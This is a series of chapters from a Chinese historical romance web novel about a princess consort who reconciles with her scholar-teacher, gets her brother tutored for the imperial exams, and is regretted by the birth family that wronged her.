“若娘子喜欢,以后我若惹娘子不开心了,娘子随时可以喊我跪搓衣板。”楚御礼笑着站起来,但膝盖传来的疼痛让他差点又跪了下去。
这搓衣板这么厉害?
在屋顶把屋内的一切都收入眼底的冽风轻轻摇头,就青砚那大惊小怪的人还想当暗卫,下辈子吧。
瞧瞧他,就是看到主子跪搓衣板这种惊天动地的事情,都没有把瓦片踩破,谁有他这样的定力?
第145章 卷兄长
姜黎婳之所以忽然和楚御礼闹这么一出,是觉得若让楚御礼继续用没安全感这种事情来拿捏自己的话,那将来自己肯定会被拿捏得死死的,现在有了这么一出,想来他今后也不会再说害怕自己离开这种话了。
这种话,夫妻之间躺在床上的时候说出来是情趣,但是时常拿出来说的话,让旁人听了去,说不定还会成为她不忠王爷的话柄,为了不必要的麻烦,她得尽早扼杀在摇篮之中才是。
“那王爷以后可不能再说我会因为旁人离开你这种话了,即便只有我们夫妇二人在的时候也不能说。”姜黎婳扶着楚御礼走到软榻上坐下,“若王爷以后再说一句,那我就真的把自己关在这院中,直至死亡,死后都当王府的鬼,以此来安王爷的心。”
“嘘。”楚御礼伸出食指压住姜黎婳的嘴唇,“别说死不死的话,为夫听不得你死。”
想到上次她莫名其妙的晕倒,他现在还心有余悸,他完全不敢想象,若他娘子**,他会变成什么样。
“那我也听不得王爷总提我离开你的话,王爷还说吗?”姜黎婳伸手掀开他的长衫,撩起他的裤腿。
“不说了,为夫以后若再次这茬儿,为夫就割了自己的舌头。”楚御礼抬手做发誓状,那种话若娘子纵着他那就是夫妻情趣,若娘子生厌了,那就不是情趣,是祸端了,既然是祸端,那就必须要扼杀。
他的膝盖因为跪得太重完全破了,旁边还有瘀血,青一片紫一片的,还渗着血迹,看上去有些吓人。
姜黎婳看到他膝盖上的伤势也顾不得和他说话了,“我去拿药给你包扎伤口。”
包扎了伤口,楚御礼拉着姜黎婳,“先前都是我的错,娘子别气了,再过几日就是秋猎了,我先前听佩玉他们提起过,娘子曾经在江南也很会骑马,既然你喜欢自由,那我这次秋猎,为夫带你去狩猎如何?”
“秋猎?”姜黎婳抬眸看他,“什么时候?”
“大概还有十日。”楚御礼伸手揉了揉姜黎婳的头发,“上次去行宫你没能好好玩,这次出城秋猎,为夫带你玩尽兴,如何?”
时间一晃过去了好几日,楚御礼在刑部任职,经常忙得不见人影,昭临给姜黎婳说他家王爷是为了秋猎之时陪着王妃好好玩,所以这些日子要把刑部那些未处理的案件全都处理了。
姜黎婳表示自己知道了,然后带着几个婢女出门了。
再过不了多久就要秋闱了,秋闱之后就是春闱,哥哥几年前就是江南的解元了,若这几个月有师父指点一二,等来年春闱的时候,她相信哥哥一定能拿一个状元回来!
姜斯羽好几日没见自家妹妹,见妹妹来找自己,高兴地说要带妹妹去逛逛他们家在京城的铺子,就听妹妹要带自己去见她的师父,想到那个古怪的老头,姜斯羽立刻摇头,“我不去。”
“你不去的话,那我就走了。”姜黎婳站起身就要走,姜斯羽连忙站起来,“父亲都还没有过来,你就要走?”
“哥哥又不愿意听我的话去见师父,那我留下来做什么?”姜黎婳撇嘴,“若是爹爹怪我不看他就走了,我就说是哥哥你把我气走的!”
她说罢抬步就往外走,姜斯羽连忙追上去,“我真是怕了你了!从小到大你就会用这招来拿捏我!”
他爹不会真的生女儿的气,但是会真的打他这个儿子!
若他爹知道自己的乖女儿上门还没有看到他这个当爹就被自己气走了,今天自己这个当儿子的又少不得挨一顿鞋垫子。
“那过去之后要不要好好听话求我师父指点你一二啊?”姜黎婳双手抱胸,想拿捏哥哥还不容易,爹爹的鞋垫子可不是白纳那么厚的。
“如果不是你,我连京城都不想来,参加个会试就行了,你还真指望我三元及第啊?”姜斯羽叹气,“当官哪儿有当一个潇洒的才子有意思啊?”
“哥哥。”姜黎婳的眼眶忽然红了。
姜斯羽从妹妹接纳他开始,就只见过妹妹笑,从未见过妹妹哭,此时看到自家妹妹红了眼睛,他当即戾气丛生,“是不是那个狗王爷欺负你了?”
姜黎婳摇头,“不是,王爷对我很好,甚至有时候惹我生气了,还会主动...”
她压低声音道:“会主动跪搓衣板,跟我认错。”
姜斯羽:“.....
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.”
啥?你说啥?
王爷跪搓衣板?
他一定是听错了!
他选择忽略妹妹这句话,沉着脸问,“那你为何如此委屈?”
“王爷对我虽好,但他是父皇和母后的嫡长子,如今他力排众议非要我当他的王妃,但并不代表旁人看得起我这个商户出生的女子。”姜黎婳垂眸,“若是我没有一个能让我依靠的母族,将来怕是要被那些朝臣吃得连骨头都不剩了。”
姜斯羽眉头紧蹙,“商贾怎么了?我们商贾也是凭自己的本事吃饭,他们那些朝臣,哪家没有点私产?谁家不做点生意?靠着那点俸禄他们想养活家人?想屁吃!”
“我自然是知道。”姜黎婳垂眸,“可就连我那有血缘关系的亲人都曾瞧不起我,更何况那些朝臣呢?”
她伸手拉着姜斯羽的衣袖甩了甩,“哥哥,你就不能为了妹妹,考一个功名吗?”她吸了吸鼻子,“当初他们苏家是如何威胁我回京的你都忘了吗?若是将来他们再以此来胁迫我离开王爷怎么办?”
“其实你离开他也不是不可以...”
“哥哥!”姜黎婳松开姜斯羽的衣袖,转身,“你知道我的病症的,此生我除了王爷,是绝对不会再嫁给其他人的,若我真的沦为下堂妇了,那我绝对不会活在世上被人嘲笑的!”
她说罢抬步离开,“既然哥哥不愿意为了妹妹考取功名,那今日就当我这个妹妹没来过吧。”
“诶诶诶,我没说不考啊。”姜斯羽连忙抓住姜黎婳的衣领把人拽回来,“我考还不成吗?不就是会元吗?我轻松拿捏!”
姜黎婳眉梢微扬,她就知道,兄长他们过来京城参加会试是假,为了她来才是真的。
不过让兄长拿会元她也志在必得,她不是为了自己有靠山,而是为了兄长和父亲将来不受制于人。
她绝对不能再让旁人以家人来威胁她!
将来兄长入仕,她相信以兄长的能力,加官进爵绝对不在话下,她绝对不会像原主一样,因为害怕连累父兄而不与他们来往,这样反而伤了他们的心。
她要让他们也变强,让旁人动不得他们!
第146章 登门上官家,被苏继业看到
姜淮邦其实在姜黎婳离开姜家回京城之后就一直有心病,他时常在想,如果自己年轻的时候不那么贪玩,好好读书考个功名那他的女儿是不是就不会被轻易的抢走了。
但他又是一个深明大义的父亲,总不能因为自己年轻时候没办到的事情产生了遗憾,就让儿子来替自己弥补遗憾吧。
所以在听到姜斯羽说自己会认真对待这次会试,并且拿一个会元回来的时候,他高兴的站了起来,“我这就去让人买菜,咱们好好庆祝一下!”
“庆祝的事情等哥哥拿了会元之后再说。”姜黎婳笑挽着姜淮邦的手臂,“我想带哥哥去师父家一趟,让师父在这几个月里面好好地指点哥哥。”
“你要去见上官先生?”姜淮邦正色颔首,“那你稍等爹爹片刻,爹爹让人准备礼品,同你们一起过去,爹爹也好些日子没有拜会上官先生了。”
“好。”
一个半时辰之后,姜黎婳他们的马车在上官家门外停下。
姜黎婳从自己的马车上下来站定,姜淮邦和姜斯羽父子两人也从后面的马车上下来了。
姜斯羽看到上官府的牌匾,心头有些无奈,这老头古怪得很,明明是一个大儒,但是不喜欢笔墨的味道,甚至连纸张都不喜欢,当初妹妹跟在他身边学医术,自己就曾领略过他折磨人的那一套。
什么都喜欢让他代笔...
他感觉自己上门求学,不是求学,可能是来当苦力的!
姜黎婳瞧着姜斯羽那一副生无可恋的模样,眉头微蹙,“哥哥,你不会是敷衍我的吧?”
“你不懂。”姜斯羽叹气,“去敲门吧。”
姜黎婳让铃铛去敲门。
巷口。
苏继业正和几个同窗站在路边一家字画摊面前挑选字画,就听到有人说,“你瞧,又有人恬不知耻地要去拜访上官先生了,我赌他们绝对连门都敲不开就被小厮赶走了。”
“从上官先生回来这些日子以来,上官家的大门都被敲破了,也不见有人能走进上官家啊,这些人怎么还这么不死心?”
“咱们打个赌如何?”
“怎么赌?”
“就赌这幅字画的价钱五两银子,若谁赢了,谁输了,就给五两银子买下这幅字画。”
苏继业听着两个同窗的赌约眉头微微一皱,抬头朝上官家大门口看过去,看到那熟悉的身影,苏继业身形一僵,“她?”
“苏兄认识他们?”
苏继业面无表情地掏出五两银子买下那幅字画,“五两银子罢了,还需要拿来当赌注。”
“这不是无聊嘛...”
摊主高兴地帮苏继业把字画抱起来递给他,“多谢少爷。”
苏继业收起字画没有说话也没有离开,他定定地看着上官家门前的几个人。
上官先生是什么人,是皇帝都请不动的大儒,他不相信姜黎婳能敲开上官家的大门!
这边。
铃铛走到上官家门口敲了门,里面传来小厮不耐烦的声音,“都说了我们家老爷不见人,你们这些人烦不烦啊!”
小厮打开门上的小窗,铃铛朝小厮露出笑容,“馒头哥!我家小姐过来看上官先生了!”
看到外面的铃铛,小厮馒头脸上露出笑容,他笑着把门打开,“铃铛,还真是你们啊,老爷在家中都念叨小姐好久了,你们可算是登门了!”
说着跟着铃铛亲自去迎姜黎婳,他恭敬地抬手朝姜黎婳鞠躬,“小姐,许久不见,我们家老爷可念叨您了。”
说着又给姜淮邦和姜斯羽两人行礼,“姜老爷,姜公子,你们也到京城了,快快往里面请。”
姜黎婳笑着让佩玉提好自己早早就准备好的糕点,又让铃铛把自己准备的食材拿好,这才对馒头道,“走吧。”
馒头笑着去帮铃铛他们拿东西,“老爷今天可要高兴坏了。”
这些日子他们家老爷不知道骂了姜小姐多少次不孝,说学有所成就不认他这个师父了,以前还时常给他做点好吃的送过去,现在就连吃的都舍不得送了,真是忘恩负义。
一行人高高兴兴地进了上官家的门。
巷子外面的苏继业却呆了,回过神后他大步朝上官家走去...
刚把人迎进去的馒头还没来得及把人送到内院就又听到敲门声了,他不耐地大喊了一声,“都说了我们家老爷
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不见客!天王老子来了,我们老爷也不见客!”
他跑回去打开小门上的窗口瞪着黑着脸站在外面敲门的苏继业,“这位公子别白费力气了,与其在这儿敲我们家的门,还不如回去多读两本书!”
“可还是我刚刚明明看见你们让人进去了,凭什么他们能进去,我们就不能进去!”苏继业面色冰冷地瞪着馒头,“大名鼎鼎的上官先生,难道也是趋炎附势之人吗?”
“哼,你瞧着我放御王妃进去了啊?”馒头冷笑,“我们老爷见自己的关门弟子,有什么不对吗?”
苏继业身形一僵,接着想起了刚刚与姜黎婳他们走在一起的那个俊美斯文的男子,他抿嘴,“上官先生的徒弟是姜黎...是御王妃的什么人?”
“我们老爷的徒弟关门弟子不是别人,正是御王妃殿下。”馒头说完翻了个白眼,“没事儿的话请回吧。”
馒头说罢直接把小窗关上,然后笑着朝姜黎婳他们跑过去,大声道:“小姐你是不知道,老爷知道您回京之后就跟着回来了,但是这些日子您从未登门看他,老爷他可伤心了!”
站在门外的苏继业把馒头说的话全都听了进去,他不可置信地往后退了一步,脸上全是震惊,这怎么可能?姜黎婳他怎么可能会是上官先生的徒弟?
上官先生那样的大儒又怎么会收姜黎婳这种商贾家长大的女子当徒弟呢?
一定是哪儿搞错了?
馒头引着姜黎婳他们去内院,一边走一边道:“也不知道是谁把咱们老爷回京的消息透露了出去,这几个月以来,咱们家的门都要被敲破了。”
姜淮邦笑着道,“上官先生声名远扬,知道他回京,定然会有不少文儒都想登门拜访。”
“咱们家老爷也不喜欢和那些人讨论什么诗词字画。”
到了内院,馒头就大喊,“老爷,小姐来了!”
他话音落下,一个身着破旧长衫,头发用一根木簪随意束着的白发老头从花丛中站了起来,他精神矍铄地往姜黎婳这边看过来,看到人后,他哼了一声,又蹲下去,“谁家姑娘,老头子我可不认识她,把人撵出去!”
第147章 不孝徒儿
馒头听到自家老爷这气话,有些无奈地对姜黎婳耸了耸肩,“小姐,您自己去哄吧。”
姜黎婳给了馒头一个放心的眼神,“你先带佩玉和铃铛她们去厨房把食材都整理出来。”
她提过佩玉手中的食盒,给自己的父兄使了个眼色,“你们自便。”
姜淮邦和姜斯羽在江南就已经习惯了上官清泉的古怪,两人以前随姜黎婳去拜访上官清泉的时候,他身边只有两个贴身伺候的人,一个是馒头,另一个是上了年纪的管家,去年老管家因病去世,上官清泉身边如今就只剩下馒头一个贴身伺候的人了。
以往在江南他们父子二人登门上官家是一切自理,现在也照旧。
姜斯羽直接在长廊的长凳上坐着看姜黎婳怎么去哄这个古怪的老头,姜淮邦则去了正屋拿着一壶凉掉的茶给自己倒了一杯,然后坐在靠门边的椅子上也看着花圃的方向。
蹲在花圃中的上官清泉用带着泥土的手拨弄了一下遮住自己视线的白发,继续忙自己的。
姜黎婳提着点心在他身边蹲下,她还没来得及说话,上官清泉就大声嚷道:“你这小姐这是干什么?我的花都要被你踩**!我又不认识你,你来我家做什么?”
姜黎婳撇嘴,不但不让,还故意伸手薅了一朵玫瑰花的花瓣,然后大声嚷道:“这玫瑰花这么好看,不做鲜花饼简直可惜了!”
“哼!”上官清泉继续埋头找东西,“要做自己回去做,我这种寒舍可不敢劳王妃娘娘动手做饼!”
姜黎婳叹气,“唉,看来师父你是真的生我的气了,就连我做的东西都不愿意吃了,我带来的这桂花酥还是我昨天特意给师父做的呢,既然师父不愿意吃,那我就只能给馒头吃了。”
上官清泉冷哼,“你那手艺能比得上云酥斋的糕点?用个糕点就想挽回你在我心中不孝的形象了?”
姜黎婳笑了,既然愿意和自己说话,就不是真的生气,而是在耍小脾气。
“徒儿知道徒儿的手艺是肯定比不上云酥斋的糕点师傅的,但师父不就是爱吃徒儿做的这些小东西吗?”她笑眯眯地把糕点放在一边,“抓蝈蝈呢?还是抓蛐蛐儿?”
上官清泉瞧自己做的事情被徒弟看穿,面不红心不跳地冷声道,“我在给花除草?什么蛐蛐儿蝈蝈儿的,没个正型儿!”
姜黎婳挑眉,蹲在他身边也往花丛中看去,“确定不抓?那我把花都薅了,一会儿踩**那些蝈蝈儿和蛐蛐儿,师父你可别骂我啊。”
“你这丫头没大没小!”上官清泉是真的害怕自己的这**把自己的花圃给薅没了,那些花草没了也就算了,他好不容易养大的蝈蝈儿和蛐蛐儿若是被她给踩**,那才是损失大了!
他站起来拍了拍自己沾了土的衣袖,又拍了拍手,这才整理了一下自己被花草挂得有些杂乱的头发,对姜黎婳冷哼道:“为师回京城这么久,你师兄都来看了我无数次了,你竟然才第一次登门,你不道歉,还敢威胁我这个当师父的?倒反天罡了?”
“师父您教我医术的时候,也没教我为人处世啊。”姜黎婳嘿嘿一笑,“所以这说到底还是师父你教得不好,你可不能怨我。”
“这么说还是我这个老头子的错了?”上官清泉怒瞪姜黎婳,但是想到姜黎婳那张在自己这边非常能狡辩的嘴,上官清泉立刻把怒火转向姜淮邦,“这就是你教的好女儿,不孝!”
“上官先生说的是,这孩子的确不孝,我这个当爹的当初差点都被抛弃了。”姜淮邦连忙站起来点头道。
上官清泉:“......”
他回头看着姜黎婳,冷哼,“之前都不愿意登门,怎么现在想起我这个老头子了?反正你都学有所成了,不如让我这个孤家寡人的老头子在这宅子里自生自灭好了,还登门做什么?”
“我若说了,师父你不会生气吧?”姜黎婳笑着去用葫芦瓢打了水端过来给上官清泉洗手。
上官清泉一边洗手一边冷声道:“你还能做出什么气死我的事情来?”
“哥哥不是来年就要春闱了吗?我想让师父您指点我哥哥一二,好不好?”姜黎婳笑嘻嘻的说道,“我知道师父你是这个世上最厉害的大文豪了,你就...”
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“老头子我就是个无儿无女徒弟不孝的孤寡老乞丐,哪儿是什么大文豪,姑娘怕是找错人了。”上官清泉洗了手就在身上擦了擦水,抬步就朝自己的寝居走去,“姑娘还是请回吧,老头我就只是一个爱弄猫弄狗的闲人,可帮不了你的忙。”
姜黎婳连忙抬步跟上去,走到门口,上官清泉疾步跳进屋内,然后猛地关上房门。
差点被门夹到鼻子的姜黎婳捂着鼻子往后退了一步,叹气道:“师父,其实我之前不来看你是有苦衷的。”
“不就是害怕老子因为你的缘故被那些人缠上吗?老子当年连先帝都不怕,难道害怕苏家那些人了?他们敢把老子吃了?”上官清泉精神十足的声音从屋内继续传来,“老头子既然收你当徒弟了,还护不住你这个徒弟了吗?”
“你能护住我,那苏家人不就不会和我断绝关系了吗?”姜黎婳撇嘴,“我不想事情变得那么麻烦,所以才故意没说和师父的关系。”
门猛地被人拉开,上官清泉换了一身旧衣裳,竹青色的,虽然干净,但是因为有些地方颜色洗掉了,加上还没整理好,头发又有些乱,看上去更像他自己口中的乞丐了...
他瞪着姜黎婳,“既然我会给这位小姐带来麻烦,这位小姐今日还登门做什么?”
姜黎婳知道这老头肯定会因为自己长时间没来看他生气,但是她真没想到他竟然这么生气。
但是想到这次的确是自己理亏,她又不敢生气,只能低着头道:“师父又不是不知道我的性格,加上我又不了解苏家人,贸然让苏家人知道我的身世背景和人脉关系,谁知道苏家人会把我怎么样啊?”
“我相信师父这些日子听说了苏家的事情了吧?苏家为了吕夫人的嫁妆可以装那么多年,谁又能保证他们会不会为了我的家产和师父的人脉如何骗我呢?”姜黎婳垂眸,“反正我的亲生父母都不要我了,师父若也不想要我这个徒弟了的话,那就当我今日没来过吧。”
她说着委屈地抿了抿嘴,转身对姜斯羽道:“哥哥,我们走吧,今后就不要来惹师父嫌了。”
第148章 顽劣师父
姜斯羽一听自己不用拜这怪老头为师了,眼睛一亮站起来,朝上官清泉拱手道:“打扰上官先生了,小生告辞了。”
太好了,不用拜师了,快跑!
他脚下生风就要跑。
姜黎婳一把拽住他,接着自己在地上跪着抬头看向沉着脸不说话的上官清泉,“徒儿自知不是一个周全的人,之前的举动虽然迫于无奈,但是的确是故意为之,既然徒儿伤了师父的心,师父也不愿意原谅徒儿,那今后徒儿...”
上官清泉打断姜黎婳的话,“知道自己错了?”
姜黎婳眨眼,接着抿嘴,“徒儿一直都知道自己错了,也知道徒儿是错在哪儿,但是徒儿不后悔。”
“我上官清泉的徒弟若敢说后悔两个字,我就打死你。”上官清泉负手走下台阶,居高临下地看着跪在地上的姜黎婳,“除了苏家的人,皇室的人也不知道你是我的徒弟?”
不待姜黎婳回答,他就捋着自己的白胡子点头,“看来那御王小儿对你倒是不错,竟然不计较你的身份。”
“他知道。”姜黎婳抬眸不好意思地笑了笑,“皇后娘娘也知道,徒儿还是惯会狐假虎威的。”
上官清泉冷哼,“还不算蠢,知道拿为师出来为自己谋好处。”
姜黎婳听上官清泉终于把自称从老头子、老乞丐、老子改成了为师,她知道师父这气是消了。
她一改刚刚的愁眉苦脸,笑眯眯地抬起头对上官清泉道:“我可是师父您的徒弟,我不能让别人知道我是您的徒弟被人占了便宜,但是我可以让人知道我是您的徒弟,为自己谋好处呀。您不是说,人活一世,绝对别做亏待自己的事情吗?”
“这点你倒是记得清楚。”上官清泉睨了姜黎婳跪在地上的膝盖一眼,“地上寒凉,你又刚小产没多久,别跪了。”
“小产?”姜斯羽怒吼,“什么时候的事情?”
姜淮邦也从屋内走了出来,面色沉沉地看着姜黎婳,“到底怎么回事?”
他们父子两人刚到京城没几日,这京城发生的事情,他们倒是真的还不清楚。
上官清泉眉梢一挑,目光从父子两人身上扫过,最后落在姜黎婳脸上,“这是还打算瞒着你父亲和兄长呢?怎么?帮那王爷小子隐瞒?”
“他害你落胎的?”姜斯羽眼眸通红,目光阴鸷,“我去找他算账!”
他站起身就要走,姜黎婳一把拽住他的手腕,“哥哥!没有!我根本没怀孕,之前是为了揪出淑妃所以才假装怀孕的。”
姜黎婳站起来,在上官清泉面前低着头,“师父,王爷这些年一直被人下毒残害,根本没有生病,徒儿也是嫁给王爷之后给王爷诊脉才知道他是**了,为了揪出给他下毒之人,徒儿只好装作有孕,然后让王爷告知皇上他的身体已经大好了...”
“徒儿装怀孕是不对,但是徒儿只是装怀孕,没有想过主动陷害别人,如果淑妃不来推我还想给我泼脏水的话,淑妃和蓝家也不会有事的。”
上官清泉看着姜黎婳,“所以淑妃和蓝天群落败,是你们设计的?”
姜黎婳应了一声,“算是吧,不过他们都是咎由自取的,他们本就不是什么好人,蓝家和淑妃若不是想烧了太庙害死王爷的话,也不会被王爷抓住的。”
姜斯羽:“......”
他那纯白无瑕的妹妹怎么刚到京城没多久就会这些算计了?
过来告知姜黎婳食材已经处理好的佩玉:“......”
感情她们之前因为王妃怀孕而高兴,又因为王妃落胎而难过,这些情绪都是白费?
姜黎婳余光瞟到佩玉,她赶紧道:“为了演得更逼真一些,我连佩玉嬷嬷她们都没有说,后来想着事情都已经过去了,就没必要再提了,就没想告诉爹爹你们。”
姜淮邦叹气,他一介商贾,即便富甲一方,但是却只有钱并没有多大的势力,他此生最大的势力,也就是结交了江南节度使这么个兄弟。
看来让儿子入仕,是必须的。
否则将来他们姜家成不了女儿的助力,反而会成为女儿的累赘。
姜斯羽也想到了这里
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,若他的妹妹真的因为楚御礼落了胎,即便他跑去找楚御礼又如何?楚御礼若真的宠爱妹妹可能还顾及他几分,但若楚御礼不疼爱妹妹呢?
他就是一个小小解元挑战皇威,最后**的都不知道。
想到这里姜斯羽也下定了决心,他朝着上官清泉跪了下去,“先生,学生不求您收学生为徒,但求学生能在有惑时请教先生一二。”
他目光坚定地抬头看着上官清泉,“学生想要入仕,想要成为能让妹妹依靠之人。”
上官清泉看着姜斯羽,又看向面含微笑的姜黎婳,他摆手,“你最近就住下来吧,但是别动不动往我眼前跑,我看着心烦。”
“多谢先生。”姜斯羽笑着给上官清泉拘礼,然后对姜黎婳道,“你放心,哥哥一定考个会元,然后再拿下状元,今后定会成为你的助力!”
姜黎婳笑了,“那我就等着哥哥的好消息了。”
助力不助力的现在不重要,重要的是哥哥他不贪玩了!哥哥将来若是入仕,定然前途无量!
“佩玉嬷嬷肯定处理好食材了,今儿个晌午,我就露一手,让师父您好好解解馋。”姜黎婳说到这里朝上官清泉眨了眨眼睛,“师父,我会厨艺这事儿,就连王爷都不知道呢,徒儿对您好吧?”
“别啰嗦了,我要吃肉馒头!”上官清泉朝姜黎婳挥手,“多做点,你这点点心给我塞牙缝都不够。”
姜黎婳笑着应了声,朝厨房而去。
上官清泉虽然是楚国难得的大儒,但小时候是吃过苦的,他常说小时候若是能吃上一个肉馒头,那定然要做高兴一个月,虽然后来长大了,还是对吃的很执着。
所以身边的小厮和管家的名字根本和他这个文儒不沾边,全是吃的,不是牛肉就是馒头,不然就是烙饼,反正没有一个的名字是正常的。
就连府中不近身伺候的婢女也都是什么银耳啊,葡萄啊...
都是能吃的,没有一个名字文雅的。
她当初能成功拜师也全靠自己这双手会弄一些新奇的吃食。
第149章 我们才是她的亲兄弟
苏继业回到家中还处于不可置信的情绪中,就连吕月琴与他说话,他都完全没有听到。
刚回来的苏承印瞧母亲喊了弟弟好几声弟弟都没有应,他蹙眉上前拍了苏继业的肩膀一下,沉声道,“想什么想得这么入神,母亲与你说话你都没听到?”
苏继业连忙看向吕月琴,“母亲,您方才与儿子说什么?”
母亲如今的情绪很是敏感,动不动就是流泪,有时候平白坐着都会哭,所以他和兄长几乎每日都会回家来住,以此来安抚母亲的情绪,让她不要胡思乱想,自己先前那般心不在焉,不知母亲会不会又多想?
吕月琴抿嘴笑了笑,“没什么,我想说你们兄弟二人每日一个要去国子监一个要去学院,每日在家中来回太耽误时间了,以后你们兄弟两人就住学院吧,不用每日回来,家中有刘嬷嬷陪着我,我也不会出事的。”
刚回来的苏承印几乎是立刻否决,“不行。”
吕月琴蹙眉,“为何不行?为娘也是不想看到你们兄弟两人辛苦。”
“苏清欢自从那次出现过后就消失了,我让人找了她的下落,却没有半点线索,而且...”苏承印脸色沉重起来,“原本应该出现在矿窑的苏建明和邹如意两人如今也根本不在,我怕他们上门找母亲麻烦。”
“他们逃脱了?”苏继业眉头紧蹙,“难道他们还有什么我们不知道的后手?”
提起苏家人,吕月琴的脸色沉了下去,她拿起筷子给兄弟两人夹菜,“苏建明和邹如意把所有的罪都全推在那个老太婆身上,避免了被判重责,本就便宜了他们,他们若敢上门,我求之不得。”
苏继业沉声道:“那这些日子就不去学院了,就在家中住着,他们若敢来,我就敢打得他们连亲娘都不认识!”
“听说你上午与同窗去逛街了?”苏承印瞧着今天情绪明显有些暴躁的苏继业,冷声问,“是同学见你单亲,欺负你了?”
苏继业捏着筷子的手一顿,“不是。”他吸了口气,抿嘴道,“我就是觉得我们以前是真的愚蠢。”
苏承印放下筷子,不解地看向苏继业,“怎么了?”
“你们知道我今天与同窗去逛街,看到什么了吗?”苏继业夹起碗中的菜翻弄,一边嘲弄地说,“是姐姐和她的养父与养兄,他们一起去了上官先生的家。”
吕月琴在姜淮邦他们进京那天就遇到了姜黎婳与他们一起在聚香楼吃饭,听苏继业这么说,她轻轻牵了牵嘴角,“她与我们没有了关系,那姜家父子就是她的亲人,她把亲人接到身边也无可厚非,你也不必为此感到难受。”
吕月琴说到这里伸手揉起自己的胸口,以此来缓解自己胸口的堵闷,“毕竟当初的确是我们苛待她在前面,如今也的确没有资格再要求她不计前嫌。”
苏承印却看向苏继业,“你说她带着姜家父子去了上官先生家?”
苏继业点头,他愤怒地使劲拍了一下桌面,厉声道:“都怪苏清欢和苏建明!如果不是他们挑拨,我们又怎么会那样对姐姐,那被姐姐带去拜见上官先生的人就是大哥你了!”
苏承印重新握着筷子夹菜,语气夹带着一丝晦涩,“上官先生见他们了?”
“何止见了!”苏继业抬眸看向苏承印,他双目通红,甚至带着不可置信,“上官家的小厮点头哈腰地把他们迎进去了,我去问情况,你们知道那小厮如何回复我的吗?”
“如何回你的?”邹如意轻声问。
苏承印亦看着苏继业,等他回答。
苏继业苍凉一笑,语气嘲讽,“他说姜黎婳是上官先生多年前在江南收的关门弟子。”
他抬头看着苏承印,笑着感叹,“当初苏清欢说能帮你打听上官先生的喜好时,我们还沾沾自喜,甚至还觉得苏清欢是我们的福星,可现在看来,一切都是那么嘲讽!”
苏承印坐在凳子上,却感觉自己失去了全部的力气。
他们当初那样看不起从江南回来商户养大的女孩,竟然是上官清泉的关门弟子...
当初他们因为苏清欢一句话沾沾自喜的时候,她是不是在嘲笑他们的狂妄和无知?
苏承印想到当时苏清欢说让萧景宴去帮忙打听上官先生喜好的
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时候,他们一时兴奋对姜黎婳说的那些话...
他捂着胸口感觉喉咙处涌出血腥的味道。
是他们,是他们自己把她推远的。
吕月琴自然也想起了当时发生的种种,她现在脑海中全都在盘旋当时自己装病把姜黎婳骗回来,想让姜黎婳去帮她要母亲手中的端砚时,姜黎婳问的那句话,“你们确定上官先生喜欢砚台吗?”
其实当时婳儿给过他们机会的。
是他们没有把握住,还在自作聪明被苏家人蒙骗。
苏承印也想到了当时自己对姜黎婳放的那些狠话,说什么要姜黎婳回来求他们...
如今就算他们跪着求她,她也不会回来的。
“我没什么胃口,你们兄弟二人先吃吧。”吕月琴放下碗筷站起身来,“我有些累了,回房休息一会儿,你们别管我。”
苏承印看着吕月琴略显单薄的背影,责怪地看了苏继业一眼,“你知道母亲听不得她的消息。”
“哥,被她带着去拜见上官先生的人明明应该是你!”苏继业双目赤红,“我们才是她的亲生兄弟,我们都是从娘肚子里面出来的,当初的事情都是因为我们被蒙骗了,她为什么要那么恨我们?一家人哪儿有什么隔夜仇?”
“继业!”苏承印猛地站起来,他脸色冰冷的看着苏继业,沉声道:“你这是在说什么胡话!当初我们虽然被苏清欢他们蒙骗,但是对她的伤害却是实质造成了的!若你因为她不愿意原谅我们,就对她产生了怨念,那你和苏建明和苏清欢有什么区别?”
苏继业想到当初自己说的那些自己只有一个姐姐的话,他就忍不住捏紧了双手,好半晌后,他卸下戾气,坐在凳子上闷闷道:“是我想岔了。”
苏承印看着幼弟,沉声道,“我们若想得到她的原谅和认可,就不能再生出想要从她身上得到好处的想法。”
他重新在圆凳上坐下,“我们如今的境遇是我们自己造成的,与她无关,你可不要因此怨上她,知道了吗?”
“我知道了。”苏继业垂眸,“我以后不会再提这件事情了。”
第150章 姜黎婳辈分倍增
这边姜黎婳刚做好饭菜摆上桌,馒头就笑着跑进来通报说沈遇知过来了。
姜黎婳有些诧异,也有些拘谨,她还是第一次以师妹的身份与自己这个当太傅的师兄见面呢。
倒是上官清泉很不高兴,他看着饭桌上的菜,嫌弃地蹙眉,“他倒是鼻子尖,闻着味道就来了!这个点来,不就是我这儿蹭饭的!”
他说着连忙端了两个自己最喜欢的菜,一个是小炒牛肉一个是糖醋排骨,现在的牛肉和排骨都只喜欢用来炖汤,他就喜欢小丫头做的这两道菜,一个酸辣鲜香,一个酸甜多汁,味道极好!
他又加端了一盘肉馒头,都递给馒头。
馒头瞧着自家老爷把这三样东西递到自己手中的时候,眼睛都亮了!
老爷还是想着他的好的!
只是他还没来得及道谢,就听到自家老爷说,“拿去柜子里面放好,我下午当晚饭!”
馒头脸上的笑容瞬间消失,眼睛里面的光芒肉眼可见的散去,他垂头丧气地应了声,端着三道菜回了厨房。
把三道菜放下,他转身去拿自己的白馒头咬了一口,觉得甚是没有滋味...
“馒头,啃什么白馒头啊,快来和我们一起吃饭。”厨房不远处的一颗金桂树下的石桌旁边,佩玉几人正端着碗筷,朝他招手,“快来。”
馒头眼中的光芒重新聚了回来,他跑过去,看着桌上的三四个菜,甚至还有小炒牛肉!
“小姐真是大好人,竟然还想着我们这些当下人的。”他拿着筷子夹了一筷子小炒牛肉放进嘴里,满足地笑了,“好吃好吃好吃!”
“也只有在上官先生这儿我们才能吃到小姐炒的菜。”
这边沈遇知还没进门就被师父往外撵,“你说你这一个月都跑我这儿几趟了?真把我这儿当你自己家了?你堂堂一个太傅,难道还吃不上午饭了?非要跑我这儿蹭饭?”
沈遇知瞧着院门都不让自己踏进去的师父,有些无语,“蹭饭?您这儿的饭菜有什么好吃的?”
“不好吃你还来?”上官清泉把人往外推,“有什么事情明天再说,今天你不准打扰我吃饭。”
“归离和归昱回来了,我让他们兄弟二人来拜见一下自己的师祖怎么了?”沈遇知说着让开身子,把跟在自己身后的两个儿子给让出来。
沈归离手里提着点心,沈归昱手中提着肉干,兄弟二人朝上官清泉躬身行礼,“师祖。”
他们两人第一次见师祖已经是十几年前的事情了,后来师祖去了江南,他们就再未见过了。
上官清泉瞧着两人手中的吃食,脸色好看了两分,他傲娇地看了一眼自己的徒弟,“还没有你两个儿子上道。”
他接过两人手中的吃食,转身往里面走,“既然来了,就进来吧。”
